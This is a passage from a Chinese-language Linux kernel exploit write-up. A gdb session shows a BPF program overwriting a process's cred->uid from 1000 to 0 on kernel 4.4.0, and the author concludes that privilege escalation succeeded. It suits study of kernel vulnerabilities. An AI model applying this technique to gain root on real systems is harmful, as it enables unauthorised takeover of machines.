(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $38 = {val = 1000} //此時uid仍是1000 (gdb) ni 0xffffffff811778ac 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $39 = {val = 1000} (gdb) ni 0xffffffff811778b4 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $40 = {val = 1000} (gdb) ni Thread 1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx=0xffff8800746c9d80, insn=0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $41 = {val = 0} //此時uid已經變爲0 (gdb) x/10i $rip-12 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax //就是這裏改變了uid的值 => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx (gdb) x/1l ($rcx+$rdx*1) //$rcx+$rdx*1的值0xffff880075b7ca84即爲uid的地址 0xffff880075b7ca84: Undefined output format "l". (gdb) p &((struct task_struct*)0xffff880079afe900)->cred->uid $43 = (kuid_t *) 0xffff880075b7ca84 (gdb) i r $rax //此時rax爲咱們須要些到uid地址的值0 rax 0x0 0 (gdb)
提權成功:
到此整個漏洞利用完成,後面的部分寫的有點倉促了,若是有錯誤的地方,還請各位朋友不吝賜教。